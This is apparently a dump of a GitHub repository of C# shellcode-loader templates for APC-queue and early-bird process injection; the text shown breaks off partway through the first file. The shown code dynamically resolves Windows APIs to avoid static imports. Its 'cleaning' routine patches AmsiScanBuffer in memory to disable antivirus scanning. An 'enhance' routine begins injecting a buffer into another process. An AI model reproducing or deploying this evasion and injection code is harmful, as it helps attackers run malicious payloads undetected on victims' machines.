├── .gitignore ├── Dinvoke ├── apcqueue.cs ├── bayraktar.cs └── earlybird.cs ├── Pinvoke ├── apcqueue.cs ├── bayraktar.cs └── earlybird.cs └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe -------------------------------------------------------------------------------- /Dinvoke/apcqueue.cs: -------------------------------------------------------------------------------- 1 | // This template requires D/Invoke installed from Nugget 2 | 3 | // Thanks to https://github.com/FatCyclone/D-Pwn 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | using System.Diagnostics; 8 | using System.Text; 9 | using System.IO; 10 | using System.Collections.Generic; 11 | 12 | namespace apcqueue 13 | { 14 | internal class Program 15 | { 16 | [Flags] 17 | public enum ThreadAccess : int 18 | { 19 | TERMINATE = (0x0001), 20 | SUSPEND_RESUME = (0x0002), 21 | GET_CONTEXT = (0x0008), 22 | SET_CONTEXT = (0x0010), 23 | SET_INFORMATION = (0x0020), 24 | QUERY_INFORMATION = (0x0040), 25 | SET_THREAD_TOKEN = (0x0080), 26 | IMPERSONATE = (0x0100), 27 | DIRECT_IMPERSONATION = (0x0200), 28 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 29 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 30 | } 31 | 32 | private static UInt32 MEM_COMMIT = 0x1000; 33 | private static UInt32 PAGE_READWRITE = 0x04; 34 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 35 | 36 | public class STRUCTS 37 | { 38 | // Structures and Enums 39 | 40 | [StructLayout(LayoutKind.Sequential)] 41 | public struct UNICODE_STRING 42 | { 43 | public UInt16 Length; 44 | public UInt16 MaximumLength; 45 | public IntPtr Buffer; 46 | } 47 | public enum NtStatus : uint 48 | { 49 | // Success 50 | Success = 0x00000000, 51 | Wait0 = 0x00000000, 52 | Wait1 = 0x00000001, 53 | Wait2 = 0x00000002, 54 | Wait3 = 0x00000003, 55 | Wait63 = 0x0000003f, 56 | Abandoned = 0x00000080, 57 | AbandonedWait0 = 0x00000080, 58 | AbandonedWait1 = 0x00000081, 59 | AbandonedWait2 = 0x00000082, 60 | AbandonedWait3 = 0x00000083, 61 | AbandonedWait63 = 0x000000bf, 62 | UserApc = 0x000000c0, 63 | KernelApc = 0x00000100, 64 | Alerted = 0x00000101, 65 | Timeout = 0x00000102, 66 | Pending = 0x00000103, 67 | Reparse = 0x00000104, 68 | MoreEntries = 0x00000105, 69 | NotAllAssigned = 0x00000106, 70 | SomeNotMapped = 0x00000107, 71 | OpLockBreakInProgress = 0x00000108, 72 | VolumeMounted = 0x00000109, 73 | RxActCommitted = 0x0000010a, 74 | NotifyCleanup = 0x0000010b, 75 | NotifyEnumDir = 0x0000010c, 76 | NoQuotasForAccount = 0x0000010d, 77 | PrimaryTransportConnectFailed = 0x0000010e, 78 | PageFaultTransition = 0x00000110, 79 | PageFaultDemandZero = 0x00000111, 80 | PageFaultCopyOnWrite = 0x00000112, 81 | PageFaultGuardPage = 0x00000113, 82 | PageFaultPagingFile = 0x00000114, 83 | CrashDump = 0x00000116, 84 | ReparseObject = 0x00000118, 85 | NothingToTerminate = 0x00000122, 86 | ProcessNotInJob = 0x00000123, 87 | ProcessInJob = 0x00000124, 88 | ProcessCloned = 0x00000129, 89 | FileLockedWithOnlyReaders = 0x0000012a, 90 | FileLockedWithWriters = 0x0000012b, 91 | 92 | // Informational 93 | Informational = 0x40000000, 94 | ObjectNameExists = 0x40000000, 95 | ThreadWasSuspended = 0x40000001, 96 | WorkingSetLimitRange = 0x40000002, 97 | ImageNotAtBase = 0x40000003, 98 | RegistryRecovered = 0x40000009, 99 | 100 | // Warning 101 | Warning = 0x80000000, 102 | GuardPageViolation = 0x80000001, 103 | DatatypeMisalignment = 0x80000002, 104 | Breakpoint = 0x80000003, 105 | SingleStep = 0x80000004, 106 | BufferOverflow = 0x80000005, 107 | NoMoreFiles = 0x80000006, 108 | HandlesClosed = 0x8000000a, 109 | PartialCopy = 0x8000000d, 110 | DeviceBusy = 0x80000011, 111 | InvalidEaName = 0x80000013, 112 | EaListInconsistent = 0x80000014, 113 | NoMoreEntries = 0x8000001a, 114 | LongJump = 0x80000026, 115 | DllMightBeInsecure = 0x8000002b, 116 | 117 | // Error 118 | Error = 0xc0000000, 119 | Unsuccessful = 0xc0000001, 120 | NotImplemented = 0xc0000002, 121 | InvalidInfoClass = 0xc0000003, 122 | InfoLengthMismatch = 0xc0000004, 123 | AccessViolation = 0xc0000005, 124 | InPageError = 0xc0000006, 125 | PagefileQuota = 0xc0000007, 126 | InvalidHandle = 0xc0000008, 127 | BadInitialStack = 0xc0000009, 128 | BadInitialPc = 0xc000000a, 129 | InvalidCid = 0xc000000b, 130 | TimerNotCanceled = 0xc000000c, 131 | InvalidParameter = 0xc000000d, 132 | NoSuchDevice = 0xc000000e, 133 | NoSuchFile = 0xc000000f, 134 | InvalidDeviceRequest = 0xc0000010, 135 | EndOfFile = 0xc0000011, 136 | WrongVolume = 0xc0000012, 137 | NoMediaInDevice = 0xc0000013, 138 | NoMemory = 0xc0000017, 139 | NotMappedView = 0xc0000019, 140 | UnableToFreeVm = 0xc000001a, 141 | UnableToDeleteSection = 0xc000001b, 142 | IllegalInstruction = 0xc000001d, 143 | AlreadyCommitted = 0xc0000021, 144 | AccessDenied = 0xc0000022, 145 | BufferTooSmall = 0xc0000023, 146 | ObjectTypeMismatch = 0xc0000024, 147 | NonContinuableException = 0xc0000025, 148 | BadStack = 0xc0000028, 149 | NotLocked = 0xc000002a, 150 | NotCommitted = 0xc000002d, 151 | InvalidParameterMix = 0xc0000030, 152 | ObjectNameInvalid = 0xc0000033, 153 | ObjectNameNotFound = 0xc0000034, 154 | ObjectNameCollision = 0xc0000035, 155 | ObjectPathInvalid = 0xc0000039, 156 | ObjectPathNotFound = 0xc000003a, 157 | ObjectPathSyntaxBad = 0xc000003b, 158 | DataOverrun = 0xc000003c, 159 | DataLate = 0xc000003d, 160 | DataError = 0xc000003e, 161 | CrcError = 0xc000003f, 162 | SectionTooBig = 0xc0000040, 163 | PortConnectionRefused = 0xc0000041, 164 | InvalidPortHandle = 0xc0000042, 165 | SharingViolation = 0xc0000043, 166 | QuotaExceeded = 0xc0000044, 167 | InvalidPageProtection = 0xc0000045, 168 | MutantNotOwned = 0xc0000046, 169 | SemaphoreLimitExceeded = 0xc0000047, 170 | PortAlreadySet = 0xc0000048, 171 | SectionNotImage = 0xc0000049, 172 | SuspendCountExceeded = 0xc000004a, 173 | ThreadIsTerminating = 0xc000004b, 174 | BadWorkingSetLimit = 0xc000004c, 175 | IncompatibleFileMap = 0xc000004d, 176 | SectionProtection = 0xc000004e, 177 | EasNotSupported = 0xc000004f, 178 | EaTooLarge = 0xc0000050, 179 | NonExistentEaEntry = 0xc0000051, 180 | NoEasOnFile = 0xc0000052, 181 | EaCorruptError = 0xc0000053, 182 | FileLockConflict = 0xc0000054, 183 | LockNotGranted = 0xc0000055, 184 | DeletePending = 0xc0000056, 185 | CtlFileNotSupported = 0xc0000057, 186 | UnknownRevision = 0xc0000058, 187 | RevisionMismatch = 0xc0000059, 188 | InvalidOwner = 0xc000005a, 189 | InvalidPrimaryGroup = 0xc000005b, 190 | NoImpersonationToken = 0xc000005c, 191 | CantDisableMandatory = 0xc000005d, 192 | NoLogonServers = 0xc000005e, 193 | NoSuchLogonSession = 0xc000005f, 194 | NoSuchPrivilege = 0xc0000060, 195 | PrivilegeNotHeld = 0xc0000061, 196 | InvalidAccountName = 0xc0000062, 197 | UserExists = 0xc0000063, 198 | NoSuchUser = 0xc0000064, 199 | GroupExists = 0xc0000065, 200 | NoSuchGroup = 0xc0000066, 201 | MemberInGroup = 0xc0000067, 202 | MemberNotInGroup = 0xc0000068, 203 | LastAdmin = 0xc0000069, 204 | WrongPassword = 0xc000006a, 205 | IllFormedPassword = 0xc000006b, 206 | PasswordRestriction = 0xc000006c, 207 | LogonFailure = 0xc000006d, 208 | AccountRestriction = 0xc000006e, 209 | InvalidLogonHours = 0xc000006f, 210 | InvalidWorkstation = 0xc0000070, 211 | PasswordExpired = 0xc0000071, 212 | AccountDisabled = 0xc0000072, 213 | NoneMapped = 0xc0000073, 214 | TooManyLuidsRequested = 0xc0000074, 215 | LuidsExhausted = 0xc0000075, 216 | InvalidSubAuthority = 0xc0000076, 217 | InvalidAcl = 0xc0000077, 218 | InvalidSid = 0xc0000078, 219 | InvalidSecurityDescr = 0xc0000079, 220 | ProcedureNotFound = 0xc000007a, 221 | InvalidImageFormat = 0xc000007b, 222 | NoToken = 0xc000007c, 223 | BadInheritanceAcl = 0xc000007d, 224 | RangeNotLocked = 0xc000007e, 225 | DiskFull = 0xc000007f, 226 | ServerDisabled = 0xc0000080, 227 | ServerNotDisabled = 0xc0000081, 228 | TooManyGuidsRequested = 0xc0000082, 229 | GuidsExhausted = 0xc0000083, 230 | InvalidIdAuthority = 0xc0000084, 231 | AgentsExhausted = 0xc0000085, 232 | InvalidVolumeLabel = 0xc0000086, 233 | SectionNotExtended = 0xc0000087, 234 | NotMappedData = 0xc0000088, 235 | ResourceDataNotFound = 0xc0000089, 236 | ResourceTypeNotFound = 0xc000008a, 237 | ResourceNameNotFound = 0xc000008b, 238 | ArrayBoundsExceeded = 0xc000008c, 239 | FloatDenormalOperand = 0xc000008d, 240 | FloatDivideByZero = 0xc000008e, 241 | FloatInexactResult = 0xc000008f, 242 | FloatInvalidOperation = 0xc0000090, 243 | FloatOverflow = 0xc0000091, 244 | FloatStackCheck = 0xc0000092, 245 | FloatUnderflow = 0xc0000093, 246 | IntegerDivideByZero = 0xc0000094, 247 | IntegerOverflow = 0xc0000095, 248 | PrivilegedInstruction = 0xc0000096, 249 | TooManyPagingFiles = 0xc0000097, 250 | FileInvalid = 0xc0000098, 251 | InstanceNotAvailable = 0xc00000ab, 252 | PipeNotAvailable = 0xc00000ac, 253 | InvalidPipeState = 0xc00000ad, 254 | PipeBusy = 0xc00000ae, 255 | IllegalFunction = 0xc00000af, 256 | PipeDisconnected = 0xc00000b0, 257 | PipeClosing = 0xc00000b1, 258 | PipeConnected = 0xc00000b2, 259 | PipeListening = 0xc00000b3, 260 | InvalidReadMode = 0xc00000b4, 261 | IoTimeout = 0xc00000b5, 262 | FileForcedClosed = 0xc00000b6, 263 | ProfilingNotStarted = 0xc00000b7, 264 | ProfilingNotStopped = 0xc00000b8, 265 | NotSameDevice = 0xc00000d4, 266 | FileRenamed = 0xc00000d5, 267 | CantWait = 0xc00000d8, 268 | PipeEmpty = 0xc00000d9, 269 | CantTerminateSelf = 0xc00000db, 270 | InternalError = 0xc00000e5, 271 | InvalidParameter1 = 0xc00000ef, 272 | InvalidParameter2 = 0xc00000f0, 273 | InvalidParameter3 = 0xc00000f1, 274 | InvalidParameter4 = 0xc00000f2, 275 | InvalidParameter5 = 0xc00000f3, 276 | InvalidParameter6 = 0xc00000f4, 277 | InvalidParameter7 = 0xc00000f5, 278 | InvalidParameter8 = 0xc00000f6, 279 | InvalidParameter9 = 0xc00000f7, 280 | InvalidParameter10 = 0xc00000f8, 281 | InvalidParameter11 = 0xc00000f9, 282 | InvalidParameter12 = 0xc00000fa, 283 | MappedFileSizeZero = 0xc000011e, 284 | TooManyOpenedFiles = 0xc000011f, 285 | Cancelled = 0xc0000120, 286 | CannotDelete = 0xc0000121, 287 | InvalidComputerName = 0xc0000122, 288 | FileDeleted = 0xc0000123, 289 | SpecialAccount = 0xc0000124, 290 | SpecialGroup = 0xc0000125, 291 | SpecialUser = 0xc0000126, 292 | MembersPrimaryGroup = 0xc0000127, 293 | FileClosed = 0xc0000128, 294 | TooManyThreads = 0xc0000129, 295 | ThreadNotInProcess = 0xc000012a, 296 | TokenAlreadyInUse = 0xc000012b, 297 | PagefileQuotaExceeded = 0xc000012c, 298 | CommitmentLimit = 0xc000012d, 299 | InvalidImageLeFormat = 0xc000012e, 300 | InvalidImageNotMz = 0xc000012f, 301 | InvalidImageProtect = 0xc0000130, 302 | InvalidImageWin16 = 0xc0000131, 303 | LogonServer = 0xc0000132, 304 | DifferenceAtDc = 0xc0000133, 305 | SynchronizationRequired = 0xc0000134, 306 | DllNotFound = 0xc0000135, 307 | IoPrivilegeFailed = 0xc0000137, 308 | OrdinalNotFound = 0xc0000138, 309 | EntryPointNotFound = 0xc0000139, 310 | ControlCExit = 0xc000013a, 311 | PortNotSet = 0xc0000353, 312 | DebuggerInactive = 0xc0000354, 313 | CallbackBypass = 0xc0000503, 314 | PortClosed = 0xc0000700, 315 | MessageLost = 0xc0000701, 316 | InvalidMessage = 0xc0000702, 317 | RequestCanceled = 0xc0000703, 318 | RecursiveDispatch = 0xc0000704, 319 | LpcReceiveBufferExpected = 0xc0000705, 320 | LpcInvalidConnectionUsage = 0xc0000706, 321 | LpcRequestsNotAllowed = 0xc0000707, 322 | ResourceInUse = 0xc0000708, 323 | ProcessIsProtected = 0xc0000712, 324 | VolumeDirty = 0xc0000806, 325 | FileCheckedOut = 0xc0000901, 326 | CheckOutRequired = 0xc0000902, 327 | BadFileType = 0xc0000903, 328 | FileTooLarge = 0xc0000904, 329 | FormsAuthRequired = 0xc0000905, 330 | VirusInfected = 0xc0000906, 331 | VirusDeleted = 0xc0000907, 332 | TransactionalConflict = 0xc0190001, 333 | InvalidTransaction = 0xc0190002, 334 | TransactionNotActive = 0xc0190003, 335 | TmInitializationFailed = 0xc0190004, 336 | RmNotActive = 0xc0190005, 337 | RmMetadataCorrupt = 0xc0190006, 338 | TransactionNotJoined = 0xc0190007, 339 | DirectoryNotRm = 0xc0190008, 340 | CouldNotResizeLog = 0xc0190009, 341 | TransactionsUnsupportedRemote = 0xc019000a, 342 | LogResizeInvalidSize = 0xc019000b, 343 | RemoteFileVersionMismatch = 0xc019000c, 344 | CrmProtocolAlreadyExists = 0xc019000f, 345 | TransactionPropagationFailed = 0xc0190010, 346 | CrmProtocolNotFound = 0xc0190011, 347 | TransactionSuperiorExists = 0xc0190012, 348 | TransactionRequestNotValid = 0xc0190013, 349 | TransactionNotRequested = 0xc0190014, 350 | TransactionAlreadyAborted = 0xc0190015, 351 | TransactionAlreadyCommitted = 0xc0190016, 352 | TransactionInvalidMarshallBuffer = 0xc0190017, 353 | CurrentTransactionNotValid = 0xc0190018, 354 | LogGrowthFailed = 0xc0190019, 355 | ObjectNoLongerExists = 0xc0190021, 356 | StreamMiniversionNotFound = 0xc0190022, 357 | StreamMiniversionNotValid = 0xc0190023, 358 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, 359 | CantOpenMiniversionWithModifyIntent = 0xc0190025, 360 | CantCreateMoreStreamMiniversions = 0xc0190026, 361 | HandleNoLongerValid = 0xc0190028, 362 | NoTxfMetadata = 0xc0190029, 363 | LogCorruptionDetected = 0xc0190030, 364 | CantRecoverWithHandleOpen = 0xc0190031, 365 | RmDisconnected = 0xc0190032, 366 | EnlistmentNotSuperior = 0xc0190033, 367 | RecoveryNotNeeded = 0xc0190034, 368 | RmAlreadyStarted = 0xc0190035, 369 | FileIdentityNotPersistent = 0xc0190036, 370 | CantBreakTransactionalDependency = 0xc0190037, 371 | CantCrossRmBoundary = 0xc0190038, 372 | TxfDirNotEmpty = 0xc0190039, 373 | IndoubtTransactionsExist = 0xc019003a, 374 | TmVolatile = 0xc019003b, 375 | RollbackTimerExpired = 0xc019003c, 376 | TxfAttributeCorrupt = 0xc019003d, 377 | EfsNotAllowedInTransaction = 0xc019003e, 378 | TransactionalOpenNotAllowed = 0xc019003f, 379 | TransactedMappingUnsupportedRemote = 0xc0190040, 380 | TxfMetadataAlreadyPresent = 0xc0190041, 381 | TransactionScopeCallbacksNotSet = 0xc0190042, 382 | TransactionRequiredPromotion = 0xc0190043, 383 | CannotExecuteFileInTransaction = 0xc0190044, 384 | TransactionsNotFrozen = 0xc0190045, 385 | 386 | MaximumNtStatus = 0xffffffff 387 | } 388 | 389 | [StructLayout(LayoutKind.Sequential, Size = 40)] 390 | public struct PROCESS_MEMORY_COUNTERS 391 | { 392 | public uint cb; 393 | public uint PageFaultCount; 394 | public uint PeakWorkingSetSize; 395 | public uint WorkingSetSize; 396 | public uint QuotaPeakPagedPoolUsage; 397 | public uint QuotaPagedPoolUsage; 398 | public uint QuotaPeakNonPagedPoolUsage; 399 | public uint QuotaNonPagedPoolUsage; 400 | public uint PagefileUsage; 401 | public uint PeakPagefileUsage; 402 | } 403 | 404 | public const UInt32 INFINITE = 0xFFFFFFFF; 405 | 406 | } 407 | 408 | public class DELEGATES 409 | { 410 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 411 | public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); 412 | 413 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 414 | public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); 415 | 416 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 417 | public delegate void Sleep(uint dwMilliseconds); 418 | 419 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 420 | public delegate IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); 421 | 422 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 423 | public delegate IntPtr GetCurrentProcess(); 424 | 425 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 426 | public delegate IntPtr GetProcAddress(IntPtr hModule, string procName); 427 | 428 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 429 | public delegate IntPtr LoadLibrary(string name); 430 | 431 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 432 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 433 | 434 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 435 | public delegate IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId); 436 | 437 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 438 | public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 439 | 440 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 441 | public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 442 | 443 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 444 | public delegate IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 445 | 446 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 447 | public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 448 | 449 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 450 | public delegate Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 451 | 452 | } 453 | 454 | public class Invoke 455 | { 456 | // Dinvoke core 457 | public static STRUCTS.NtStatus LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) 458 | { 459 | // Craft an array for the arguments 460 | object[] funcargs = 461 | { 462 | PathToFile, dwFlags, ModuleFileName, ModuleHandle 463 | }; 464 | 465 | STRUCTS.NtStatus retValue = (STRUCTS.NtStatus)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); 466 | 467 | // Update the modified variables 468 | ModuleHandle = (IntPtr)funcargs[3]; 469 | 470 | return retValue; 471 | } 472 | /// 473 | /// Helper for getting the base address of a module loaded by the current process. This base 474 | /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for 475 | /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. 476 | /// 477 | /// Ruben Boonen (@FuzzySec) 478 | /// The name of the DLL (e.g. "ntdll.dll"). 479 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. 480 | public static IntPtr GetLoadedModuleAddress(string DLLName) 481 | { 482 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 483 | foreach (ProcessModule Mod in ProcModules) 484 | { 485 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) 486 | { 487 | return Mod.BaseAddress; 488 | } 489 | } 490 | return IntPtr.Zero; 491 | } 492 | 493 | public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) 494 | { 495 | // Craft an array for the arguments 496 | object[] funcargs = 497 | { 498 | DestinationString, SourceString 499 | }; 500 | 501 | DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 502 | 503 | // Update the modified variables 504 | DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; 505 | } 506 | 507 | /// 508 | /// Resolves LdrLoadDll and uses that function to load a DLL from disk. 509 | /// 510 | /// Ruben Boonen (@FuzzySec) 511 | /// The path to the DLL on disk. Uses the LoadLibrary convention. 512 | /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. 513 | public static IntPtr LoadModuleFromDisk(string DLLPath) 514 | { 515 | STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); 516 | RtlInitUnicodeString(ref uModuleName, DLLPath); 517 | 518 | IntPtr hModule = IntPtr.Zero; 519 | STRUCTS.NtStatus CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); 520 | if (CallResult != STRUCTS.NtStatus.Success || hModule == IntPtr.Zero) 521 | { 522 | return IntPtr.Zero; 523 | } 524 | 525 | return hModule; 526 | } 527 | 528 | /// 529 | /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. 530 | /// 531 | /// The Wover (@TheRealWover) 532 | /// Name of the DLL. 533 | /// Name of the function. 534 | /// Prototype for the function, represented as a Delegate object. 535 | /// Parameters to pass to the function. Can be modified if function uses call by reference. 536 | /// Object returned by the function. Must be unmarshalled by the caller. 537 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) 538 | { 539 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); 540 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); 541 | } 542 | 543 | /// 544 | /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. 545 | /// 546 | /// The Wover (@TheRealWover) 547 | /// A pointer to the unmanaged function. 548 | /// Prototype for the function, represented as a Delegate object. 549 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. 550 | /// Object returned by the function. Must be unmarshalled by the caller. 551 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) 552 | { 553 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); 554 | return funcDelegate.DynamicInvoke(Parameters); 555 | } 556 | 557 | /// 558 | /// Given a module base address, resolve the address of a function by manually walking the module export table. 559 | /// 560 | /// Ruben Boonen (@FuzzySec) 561 | /// A pointer to the base address where the module is loaded in the current process. 562 | /// The name of the export to search for (e.g. "NtAlertResumeThread"). 563 | /// IntPtr for the desired function. 564 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) 565 | { 566 | IntPtr FunctionPtr = IntPtr.Zero; 567 | try 568 | { 569 | // Traverse the PE header in memory 570 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); 571 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); 572 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; 573 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); 574 | Int64 pExport = 0; 575 | if (Magic == 0x010b) 576 | { 577 | pExport = OptHeader + 0x60; 578 | } 579 | else 580 | { 581 | pExport = OptHeader + 0x70; 582 | } 583 | 584 | // Read -> IMAGE_EXPORT_DIRECTORY 585 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); 586 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); 587 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); 588 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); 589 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); 590 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); 591 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); 592 | 593 | // Loop the array of export name RVA 594 | for (int i = 0; i < NumberOfNames; i++) 595 | { 596 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); 597 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) 598 | { 599 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; 600 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); 601 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); 602 | break; 603 | } 604 | } 605 | } 606 | catch 607 | { 608 | // Catch parser failure 609 | throw new InvalidOperationException("Failed to parse module exports."); 610 | } 611 | 612 | if (FunctionPtr == IntPtr.Zero) 613 | { 614 | // Export not found 615 | throw new MissingMethodException(ExportName + ", export not found."); 616 | } 617 | return FunctionPtr; 618 | } 619 | 620 | /// 621 | /// Helper for getting the pointer to a function from a DLL loaded by the process. 622 | /// 623 | /// Ruben Boonen (@FuzzySec) 624 | /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). 625 | /// Name of the exported procedure. 626 | /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. 627 | /// IntPtr for the desired function. 628 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) 629 | { 630 | IntPtr hModule = GetLoadedModuleAddress(DLLName); 631 | if (hModule == IntPtr.Zero && CanLoadFromDisk) 632 | { 633 | hModule = LoadModuleFromDisk(DLLName); 634 | if (hModule == IntPtr.Zero) 635 | { 636 | throw new FileNotFoundException(DLLName + ", unable to find the specified file."); 637 | } 638 | } 639 | else if (hModule == IntPtr.Zero) 640 | { 641 | throw new DllNotFoundException(DLLName + ", Dll was not found."); 642 | } 643 | 644 | return GetExportAddress(hModule, FunctionName); 645 | } 646 | } 647 | 648 | static void cleaning() 649 | { 650 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 651 | var modules = Process.GetCurrentProcess().Modules; 652 | var hAmsi = IntPtr.Zero; 653 | 654 | foreach (ProcessModule module in modules) 655 | { 656 | if (module.ModuleName == "amsi.dll") 657 | { 658 | hAmsi = module.BaseAddress; 659 | Console.WriteLine("Found isma"); 660 | break; 661 | } 662 | } 663 | if (hAmsi == IntPtr.Zero) 664 | { 665 | return; 666 | } 667 | else 668 | { 669 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "GetProcAddress"); 670 | DELEGATES.GetProcAddress gpa = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.GetProcAddress)) as DELEGATES.GetProcAddress; 671 | 672 | var asb = gpa(hAmsi, "AmsiScanBuffer"); 673 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 674 | 675 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtect"); 676 | DELEGATES.VirtualProtect vp = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtect)) as DELEGATES.VirtualProtect; 677 | 678 | vp(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 679 | 680 | Marshal.Copy(garbage, 0, asb, garbage.Length); 681 | 682 | vp(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 683 | 684 | Console.WriteLine("Patched"); 685 | } 686 | } 687 | 688 | static void enhance(byte[] buf, Process process) 689 | { 690 | // thanks to https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs 691 | // https://dev.to/wireless90/stealthy-code-injection-in-a-running-net-process-i5c 692 | 693 | Console.WriteLine("Targeting {0}", process.Id); 694 | 695 | IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "OpenProcess"); 696 | DELEGATES.OpenProcess op = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenProcess)) as DELEGATES.OpenProcess; 697 | IntPtr hProcess = op(0x001F0FFF, false, (uint)process.Id); 698 | 699 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); 700 | DELEGATES.VirtualAllocEx vae = Marshal.GetDelegateForFunctionPointer(pointer, 